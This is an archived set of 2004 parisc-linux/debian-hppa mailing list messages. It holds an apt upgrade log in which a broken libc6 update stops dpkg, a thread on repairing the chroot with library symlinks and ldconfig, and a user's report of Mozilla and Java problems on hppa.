Get:30 http://mirrors.kernel.org testing/main libice6 4.3.0.dfsg.1-1 [172kB]
Get:31 http://mirrors.kernel.org testing/main libsm-dev 4.3.0.dfsg.1-1 [145kB]
Get:32 http://mirrors.kernel.org testing/main libsm6 4.3.0.dfsg.1-1 [149kB]
Get:33 http://mirrors.kernel.org testing/main libx11-dev 4.3.0.dfsg.1-1 [1414kB]
Get:34 http://mirrors.kernel.org testing/main xfree86-common 4.3.0.dfsg.1-1 [691kB]
Get:35 http://mirrors.kernel.org testing/main xlibs-data 4.3.0.dfsg.1-1 [863kB]
Get:36 http://mirrors.kernel.org testing/main libx11-6 4.3.0.dfsg.1-1 [734kB]
Get:37 http://mirrors.kernel.org testing/main libxext-dev 4.3.0.dfsg.1-1 [220kB]
Get:38 http://mirrors.kernel.org testing/main libxext6 4.3.0.dfsg.1-1 [159kB]
Get:39 http://mirrors.kernel.org testing/main pkg-config 0.15.0-4 [35.0kB]
Get:40 http://mirrors.kernel.org testing/main libfontconfig1-dev 2.2.2-2 [242kB]
Get:41 http://mirrors.kernel.org testing/main zlib1g-dev 1:1.2.1.1-3 [431kB]
Get:42 http://mirrors.kernel.org testing/main zlib1g 1:1.2.1.1-3 [68.9kB]
Get:43 http://mirrors.kernel.org testing/main fontconfig 2.2.2-2 [57.9kB]
Get:44 http://mirrors.kernel.org testing/main libfontconfig1 2.2.2-2 [103kB]
Get:45 http://mirrors.kernel.org testing/main libxft1 4.3.0.dfsg.1-1 [158kB]
Get:46 http://mirrors.kernel.org testing/main libxi-dev 4.3.0.dfsg.1-1 [201kB]
Get:47 http://mirrors.kernel.org testing/main libxi6 4.3.0.dfsg.1-1 [147kB]
Get:48 http://mirrors.kernel.org testing/main libxt-dev 4.3.0.dfsg.1-1 [635kB]
Get:49 http://mirrors.kernel.org testing/main libxt6 4.3.0.dfsg.1-1 [312kB]
Get:50 http://mirrors.kernel.org testing/main libxmu-dev 4.3.0.dfsg.1-1 [197kB]
Get:51 http://mirrors.kernel.org testing/main libxmu6 4.3.0.dfsg.1-1 [181kB]
Get:52 http://mirrors.kernel.org testing/main libxmuu-dev 4.3.0.dfsg.1-1 [131kB]
Get:53 http://mirrors.kernel.org testing/main libxmuu1 4.3.0.dfsg.1-1 [138kB]
Get:54 http://mirrors.kernel.org testing/main libxp-dev 4.3.0.dfsg.1-1 [149kB]
Get:55 http://mirrors.kernel.org testing/main libxp6 4.3.0.dfsg.1-1 [147kB]
Get:56 http://mirrors.kernel.org testing/main libxpm-dev 4.3.0.dfsg.1-1 [166kB]
Get:57 http://mirrors.kernel.org testing/main libxpm4 4.3.0.dfsg.1-1 [165kB]   
Get:58 http://mirrors.kernel.org testing/main libxrandr-dev 4.3.0.dfsg.1-1 [138kB]
Get:59 http://mirrors.kernel.org testing/main libxrandr2 4.3.0.dfsg.1-1 [138kB]
Get:60 http://mirrors.kernel.org testing/main libxtrap-dev 4.3.0.dfsg.1-1 [154kB]
Get:61 http://mirrors.kernel.org testing/main libxtrap6 4.3.0.dfsg.1-1 [148kB] 
Get:62 http://mirrors.kernel.org testing/main libxtst-dev 4.3.0.dfsg.1-1 [139kB]
Get:63 http://mirrors.kernel.org testing/main libxtst6 4.3.0.dfsg.1-1 [141kB]  
Get:64 http://mirrors.kernel.org testing/main xlibs 4.3.0.dfsg.1-1 [374kB]     
Get:65 http://mirrors.kernel.org testing/main libkpathsea3 2.0.2-14 [62.1kB]   
Get:66 http://mirrors.kernel.org testing/main libpng12-dev 1.2.5.0-6 [257kB]   
Get:67 http://mirrors.kernel.org testing/main libpng12-0 1.2.5.0-6 [121kB]     
Get:68 http://mirrors.kernel.org testing/main gcc-3.3-base 1:3.3.3-6 [145kB]   
Get:69 http://mirrors.kernel.org testing/main libstdc++5 1:3.3.3-6 [357kB]     
Get:70 http://mirrors.kernel.org testing/main libt1-5 5.0.2-2 [173kB]          
Get:71 http://mirrors.kernel.org testing/main libxaw7 4.3.0.dfsg.1-1 [332kB]   
Get:72 http://mirrors.kernel.org testing/main tetex-bin 2.0.2-14 [4570kB]      
Get:73 http://mirrors.kernel.org testing/main vim-common 1:6.2-426+1 [3136kB]  
Get:74 http://mirrors.kernel.org testing/main vim 1:6.2-426+1 [864kB]          
Get:75 http://mirrors.kernel.org testing/main apt 0.5.25 [1070kB]              
Get:76 http://mirrors.kernel.org testing/main dselect 1.10.21 [116kB]          
Get:77 http://mirrors.kernel.org testing/main initscripts 2.85-15 [27.6kB]     
Get:78 http://mirrors.kernel.org testing/main libattr1 2.4.16-1 [8986B]        
Get:79 http://mirrors.kernel.org testing/main libblkid1 1.35-6 [40.4kB]        
Get:80 http://mirrors.kernel.org testing/main libcomerr2 1.35-6 [24.4kB]       
Get:81 http://mirrors.kernel.org testing/main libss2 1.35-6 [31.2kB]           
Get:82 http://mirrors.kernel.org testing/main libuuid1 1.35-6 [31.5kB]         
Get:83 http://mirrors.kernel.org testing/main sysv-rc 2.85-15 [33.5kB]         
Get:84 http://mirrors.kernel.org testing/main passwd 1:4.0.3-28.3 [507kB]      
Get:85 http://mirrors.kernel.org testing/main adduser 3.53 [89.5kB]            
Get:86 http://mirrors.kernel.org testing/main bsdmainutils 6.0.14 [182kB]      
Get:87 http://mirrors.kernel.org testing/main net-tools 1.60-10 [273kB]        
Get:88 http://mirrors.kernel.org testing/main ifupdown 0.6.4-4.8 [43.9kB]      
Get:89 http://mirrors.kernel.org testing/main iptables 1.2.9-9 [412kB]         
Get:90 http://mirrors.kernel.org testing/main libconsole 1:0.2.3dbs-52 [136kB] 
Get:91 http://mirrors.kernel.org testing/main libtasn1-0 0.1.2-2 [31.8kB]      
Get:92 http://mirrors.kernel.org testing/main libwrap0 7.6.dbs-3 [29.9kB]      
Get:93 http://mirrors.kernel.org testing/main man-db 2.4.2-16 [607kB]          
Get:94 http://mirrors.kernel.org testing/main tcpd 7.6.dbs-3 [72.2kB]          
Get:95 http://mirrors.kernel.org testing/main netbase 4.17 [39.6kB]            
Get:96 http://mirrors.kernel.org testing/main makedev 2.3.1-69 [39.6kB]        
Get:97 http://mirrors.kernel.org testing/main procps 1:3.2.1-2 [228kB]         
Get:98 http://mirrors.kernel.org testing/main bc 1.06-15 [69.8kB]              
Get:99 http://mirrors.kernel.org testing/main libisc7 1:9.2.3+9.2.4-rc2-1 [172kB]
Get:100 http://mirrors.kernel.org testing/main libssl0.9.7 0.9.7d-2 [716kB]    
Get:101 http://mirrors.kernel.org testing/main libdns11 1:9.2.3+9.2.4-rc2-1 [528kB]
Get:102 http://mirrors.kernel.org testing/main bind9-host 1:9.2.3+9.2.4-rc2-1 [91.5kB]
Get:103 http://mirrors.kernel.org testing/main binutils 2.14.90.0.7-6 [2478kB] 
Get:104 http://mirrors.kernel.org testing/main cpp-3.3 1:3.3.3-6 [1479kB]      
Get:105 http://mirrors.kernel.org testing/main dc 1.06-15 [60.3kB]             
Get:106 http://mirrors.kernel.org testing/main dictionaries-common 0.22.24 [149kB]
Get:107 http://mirrors.kernel.org testing/main liblwres1 1:9.2.3+9.2.4-rc2-1 [90.6kB]
Get:108 http://mirrors.kernel.org testing/main dnsutils 1:9.2.3+9.2.4-rc2-1 [160kB]
Get:109 http://mirrors.kernel.org testing/main doc-linux-text 2004.04-1 [8197kB]
Get:110 http://mirrors.kernel.org testing/main make 3.80-7 [439kB]             
Get:111 http://mirrors.kernel.org testing/main dpkg-dev 1.10.21 [137kB]        
Get:112 http://mirrors.kernel.org testing/main flex 2.5.31-24 [275kB]          
Get:113 http://mirrors.kernel.org testing/main gcc-3.3 1:3.3.3-6 [1569kB]      
Get:114 http://mirrors.kernel.org testing/main libstdc++5-3.3-dev 1:3.3.3-6 [894kB]
Get:115 http://mirrors.kernel.org testing/main g++-3.3 1:3.3.3-6 [1903kB]      
Get:116 http://mirrors.kernel.org testing/main gdb 6.1-2 [2644kB]              
Get:117 http://mirrors.kernel.org testing/main libdb4.0 4.0.14-1.4 [352kB]     
Get:118 http://mirrors.kernel.org testing/main python-newt 0.51.6-3 [36.2kB]   
Get:119 http://mirrors.kernel.org testing/main libnewt0.51 0.51.6-3 [61.0kB]   
Get:120 http://mirrors.kernel.org testing/main lsof 4.71-1 [324kB]             
Get:121 http://mirrors.kernel.org testing/main portmap 5-3 [23.7kB]            
Get:122 http://mirrors.kernel.org testing/main python2.3 2.3.3.91-1 [3172kB]   
Get:123 http://mirrors.kernel.org testing/main reportbug 2.60 [102kB]          
Get:124 http://mirrors.kernel.org testing/main ssh 1:3.8p1-3 [782kB]           
Get:125 http://mirrors.kernel.org testing/main strace 4.5.3-1 [89.6kB]         
Get:126 http://mirrors.kernel.org testing/main time 1.7-19 [34.5kB]            
Get:127 http://mirrors.kernel.org testing/main whiptail 0.51.6-3 [32.8kB]      
Get:128 http://mirrors.kernel.org testing/main whois 4.6.15 [40.0kB]           
Get:129 http://mirrors.kernel.org testing/main apt-utils 0.5.25 [224kB]        
Get:130 http://mirrors.kernel.org testing/main autotools-dev 20040312.1 [53.8kB]
Get:131 http://mirrors.kernel.org testing/main cvs 1:1.12.5-6 [1402kB]         
Get:132 http://mirrors.kernel.org testing/main cxref 1.5f-3 [306kB]            
Get:133 http://mirrors.kernel.org testing/main dbs 0.31 [22.4kB]               
Get:134 http://mirrors.kernel.org testing/main debconf-utils 1.4.25 [32.5kB]   
Get:135 http://mirrors.kernel.org testing/main intltool-debian 0.30+20040212 [23.4kB]
Get:136 http://mirrors.kernel.org testing/main po-debconf 0.8.11 [66.7kB]      
Get:137 http://mirrors.kernel.org testing/main debhelper 4.2.10 [353kB]        
Get:138 http://mirrors.kernel.org testing/main distcc 2.14-1 [150kB]           
Get:139 http://mirrors.kernel.org testing/main emacs21 21.3+1-5 [2156kB]       
Get:140 http://mirrors.kernel.org testing/main emacs21-common 21.3+1-5 [11.0MB]
Get:141 http://mirrors.kernel.org testing/main emacs21-bin-common 21.3+1-5 [155kB]
Get:142 http://mirrors.kernel.org testing/main libungif4g 4.1.0b1-6 [53.3kB]   
Get:143 http://mirrors.kernel.org testing/main fakeroot 0.9.5 [62.8kB]         
Get:144 http://mirrors.kernel.org testing/main initrd-tools 0.1.67 [25.5kB]    
Get:145 http://mirrors.kernel.org testing/main kernel-package 8.090 [299kB]    
Get:146 http://mirrors.kernel.org testing/main libdb3-util 3.2.9-19.1 [54.5kB] 
Get:147 http://mirrors.kernel.org testing/main libdps1 4.3.0.dfsg.1-1 [272kB]  
Get:148 http://mirrors.kernel.org testing/main libpng10-0 1.0.15-5 [119kB]     
Get:149 http://mirrors.kernel.org testing/main libpng2 1.0.15-5 [938B]         
Get:150 http://mirrors.kernel.org testing/main libtasn1-2 0.2.7-2 [45.8kB]     
Get:151 http://mirrors.kernel.org testing/main libtool 1.5.6-1 [626kB]         
Get:152 http://mirrors.kernel.org testing/main libxcursor-dev 1.1.3-1 [35.2kB] 
Get:153 http://mirrors.kernel.org testing/main libxcursor1 1.1.3-1 [27.4kB]    
Get:154 http://mirrors.kernel.org testing/main libxv-dev 4.3.0.dfsg.1-1 [159kB]
Get:155 http://mirrors.kernel.org testing/main libxv1 4.3.0.dfsg.1-1 [139kB]   
Get:156 http://mirrors.kernel.org testing/main module-init-tools 3.0-pre10-3 [72.6kB]
Get:157 http://mirrors.kernel.org testing/main ntpdate 1:4.2.0a-8 [175kB]      
Get:158 http://mirrors.kernel.org testing/main palo 1.5 [49.3kB]               
Get:159 http://mirrors.kernel.org testing/main pciutils 1:2.1.11-8 [133kB]     
Get:160 http://mirrors.kernel.org testing/main pm-dev 4.3.0.dfsg.1-1 [126kB]   
Get:161 http://mirrors.kernel.org testing/main ppp 2.4.2+20040202-3 [310kB]    
Get:162 http://mirrors.kernel.org testing/main pppconfig 2.3.1 [30.5kB]        
Get:163 http://mirrors.kernel.org testing/main pppoeconf 1.0.1 [25.9kB]        
Get:164 http://mirrors.kernel.org testing/main proftpd 1.2.9-12 [354kB]        
Get:165 http://mirrors.kernel.org testing/main proftpd-common 1.2.9-12 [144kB] 
Get:166 http://mirrors.kernel.org testing/main rsync 2.6.2-1 [176kB]           
Get:167 http://mirrors.kernel.org testing/main scsitools 0.7-1 [124kB]         
Get:168 http://mirrors.kernel.org testing/main tasksel 1.51 [172kB]            
Get:169 http://mirrors.kernel.org testing/main xlibmesa-gl 4.3.0.dfsg.1-1 [304kB]
Get:170 http://mirrors.kernel.org testing/main xlibmesa-glu 4.3.0.dfsg.1-1 [369kB]
Get:171 http://mirrors.kernel.org testing/main xbase-clients 4.3.0.dfsg.1-1 [2073kB]
Get:172 http://mirrors.kernel.org testing/main xlibs-static-dev 4.3.0.dfsg.1-1 [922kB]
Get:173 http://mirrors.kernel.org testing/main xterm 4.3.0.dfsg.1-1 [619kB]    
Get:174 http://mirrors.kernel.org testing/main exim 3.36-11 [810kB]            
Get:175 http://mirrors.kernel.org testing/main hddtemp 0.3-beta11-10 [40.2kB]  
Get:176 http://mirrors.kernel.org testing/main xlibs-dev 4.3.0.dfsg.1-1 [125kB]
Fetched 108MB in 16s (6421kB/s)                                                
Preconfiguring packages ...
(Reading database ... 38733 files and directories currently installed.)
Preparing to replace base-files 3.0.14 (using .../base-files_3.0.15_hppa.deb) ...
Unpacking replacement base-files ...
Setting up base-files (3.0.15) ...

(Reading database ... 38733 files and directories currently installed.)
Preparing to replace bash 2.05b-14 (using .../bash_2.05b-15_hppa.deb) ...
Unpacking replacement bash ...
Setting up bash (2.05b-15) ...
Installing new version of config file /etc/skel/.bashrc ...
Installing new version of config file /etc/skel/.bash_profile ...
Installing new version of config file /etc/bash.bashrc ...
Installing new version of config file /etc/bash_completion ...

(Reading database ... 38739 files and directories currently installed.)
Preparing to replace debianutils 2.8.1 (using .../debianutils_2.8.2_hppa.deb) ...
Unpacking replacement debianutils ...
Setting up debianutils (2.8.2) ...

(Reading database ... 38739 files and directories currently installed.)
Preparing to replace dpkg 1.10.20 (using .../archives/dpkg_1.10.21_hppa.deb) ...
Unpacking replacement dpkg ...
Setting up dpkg (1.10.21) ...

(Reading database ... 38741 files and directories currently installed.)
Preparing to replace libc6-dev 2.3.2.ds1-11 (using .../libc6-dev_2.3.2.ds1-12_hppa.deb) ...
Unpacking replacement libc6-dev ...
Preparing to replace debconf-i18n 1.4.16 (using .../debconf-i18n_1.4.25_all.deb) ...
Unpacking replacement debconf-i18n ...
Preparing to replace debconf 1.4.16 (using .../debconf_1.4.25_all.deb) ...
Unpacking replacement debconf ...
Preparing to replace locales 2.3.2.ds1-11 (using .../locales_2.3.2.ds1-12_all.deb) ...
Unpacking replacement locales ...
Preparing to replace libc6 2.3.2.ds1-11 (using .../libc6_2.3.2.ds1-12_hppa.deb) ...
Unpacking replacement libc6 ...
dpkg (subprocess): failed to exec rm for cleanup: No such file or directory
dpkg: error while cleaning up:
 subprocess rm cleanup returned error exit status 2
Could not exec dpkg!
E: Sub-process /usr/bin/dpkg returned an error code (100)
Some errors occurred while unpacking. I'm going to configure the
packages that were installed. This may result in duplicate errors
or errors caused by missing dependencies. This is OK, only the errors
above this message are important. Please fix them and run [I]nstall again
Press enter to continue.

/usr/lib/dpkg/methods/apt/install: line 105: /usr/bin/dpkg: No such file or directory

installation script returned error exit status 100.
Press <enter> to continue.

dselect (subprocess): unable to run installation script process `/usr/lib/dpkg/methods/apt/install': No such file or directory

installation script returned error exit status 2.
Press <enter> to continue.

ion:~# 



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc update is broken in testing?
Date: Sat, 29 May 2004 21:33:27 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20040529203327.GW5850__31397.7762162269$1416623462$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040529184910.GA11441@colo.lackof.org> <20040529201456.GB11441@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623462 9826 80.91.229.3 (22 Nov 2014 02:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:02 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8941 invoked by uid 65534); 29 May 2004 20:33:46 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx050) with SMTP; 29 May 2004 22:33:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 33124E929; Sat, 29 May 2004 15:33:30 -0500 (CDT)
Old-Return-Path: <willy@www.linux.org.uk>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by murphy.debian.org (Postfix) with ESMTP id 48321E8A9
	for <debian-hppa@lists.debian.org>; Sat, 29 May 2004 15:33:24 -0500 (CDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BUAWF-00073G-88; Sat, 29 May 2004 21:33:27 +0100
Content-Disposition: inline
In-Reply-To: <20040529201456.GB11441@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-Rc-Virus: 2004-05-26_04
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_27_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2004_05_27_01
Resent-Message-ID: <b_Hq2D.A.ca.ZOPuAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3651
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 29 May 2004 15:33:30 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21686

On Sat, May 29, 2004 at 02:14:56PM -0600, Grant Grundler wrote:
> o the rest can be cut/pasted:
> 	cd /target/lib
> 	ln -s ld-2.3.2.so ld.so.1
> 	ln -s libc-2.3.2.so libc.so.6
> 	ln -s libm-2.3.2.so libm.so.6
> 	ln -s libdl-2.3.2.so libdl.so.2
> 	ln -s libutil-2.3.2.so libutil.so.1
> 	cd /
> 	umount /target

You can do this more easily by running
	ldconfig -m /target/lib /target/usr/lib

Then you can check it worked by running chroot /target and seeing if
everything seems happy.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc update is broken in testing?
Date: Sat, 29 May 2004 20:36:49 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20040530023649.GF11441__22070.5670807094$1416623462$gmane$org@colo.lackof.org>
References: <20040529184910.GA11441@colo.lackof.org> <20040529201456.GB11441@colo.lackof.org> <20040529203327.GW5850@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623462 9828 80.91.229.3 (22 Nov 2014 02:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:02 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7399 invoked by uid 65534); 30 May 2004 02:37:47 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx051) with SMTP; 30 May 2004 04:37:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id E9A6DED7B; Sat, 29 May 2004 21:36:59 -0500 (CDT)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 3BB5DE8D4
	for <debian-hppa@lists.debian.org>; Sat, 29 May 2004 21:36:47 -0500 (CDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AFAC629803F; Sat, 29 May 2004 20:36:50 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 18290-08; Sat, 29 May 2004 20:36:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E0CED298028; Sat, 29 May 2004 20:36:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040529203327.GW5850@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Rc-Virus: 2004-05-26_04
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_27_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=1.0 required=4.0 tests=IMPRONONCABLE_1 autolearn=no 
	version=2.63-lists.debian.org_2004_05_27_01
X-Spam-Level: *
Resent-Message-ID: <M_EA6B.A.BLB.LjUuAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3657
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 29 May 2004 21:36:59 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21687

On Sat, May 29, 2004 at 09:33:27PM +0100, Matthew Wilcox wrote:
> You can do this more easily by running
> 	ldconfig -m /target/lib /target/usr/lib

~ # ldconfig -m /target/lib/ /target/usr/lib/
ldconfig: invalid option -- m
Try `ldconfig --help' or `ldconfig --usage' for more information.

It looks like that should be "ldconfig -l -r /target"

> Then you can check it worked by running chroot /target and seeing if
> everything seems happy.

After unpacking a proper libc6_*hppa.deb by hand, the chroot worked.
I was able to run dgpkg/dselect in the chroot just fine.

"dpkg -i locales_2.3.2.ds1-12_all.deb" seems to be taking an awful
long time in "Setting up locales" step. I'm not sure if it's because
of the chroot environment or it just takes a while to regen the
locales data. I'll let it run a while and see what happens.
In any case, this box is a D-I test candidate on the next
beta release.

thanks,
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathaniel <nwoods29321@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with Web
Date: Sun, 30 May 2004 08:49:42 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20040530084942.0ded3d73@woodshp>
References: <20040529100944.3D6513BE2E@free.linux.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623463 9830 80.91.229.3 (22 Nov 2014 02:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11122 invoked by uid 65534); 30 May 2004 12:50:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 30 May 2004 14:50:27 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 87EB73BDE6; Sun, 30 May 2004 06:50:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mxsf22.cluster1.charter.net (mxsf22.cluster1.charter.net
	[209.225.28.222])
	by free.linux.hp.com (Postfix) with ESMTP id D05283BDD1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 May 2004 06:50:02 -0600 (MDT)
Original-Received: from woodshp (cpe-66-191-222-161.spa.sc.charter.com [66.191.222.161])
	by mxsf22.cluster1.charter.net (8.12.11/8.12.11) with SMTP id
	i4UCnbGG087884 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 May 2004 08:49:38 -0400 (EDT)
In-Reply-To: <20040529100944.3D6513BE2E@free.linux.hp.com>
X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; hppa-unknown-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21688

Problem #1: Mozilla (including Firefox) will not work.  It opens the main window then stops. It will not got any website or let me open any of the menus (example = preferences). However Epiphany browser works.

Problem #2: I am unable to get java working, and I have been unable to locate a java plugin or j2re for debian hppa.

Any help with the above problems would be appreciated.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Web
Date: Mon, 31 May 2004 13:43:27 -0400 (EDT)
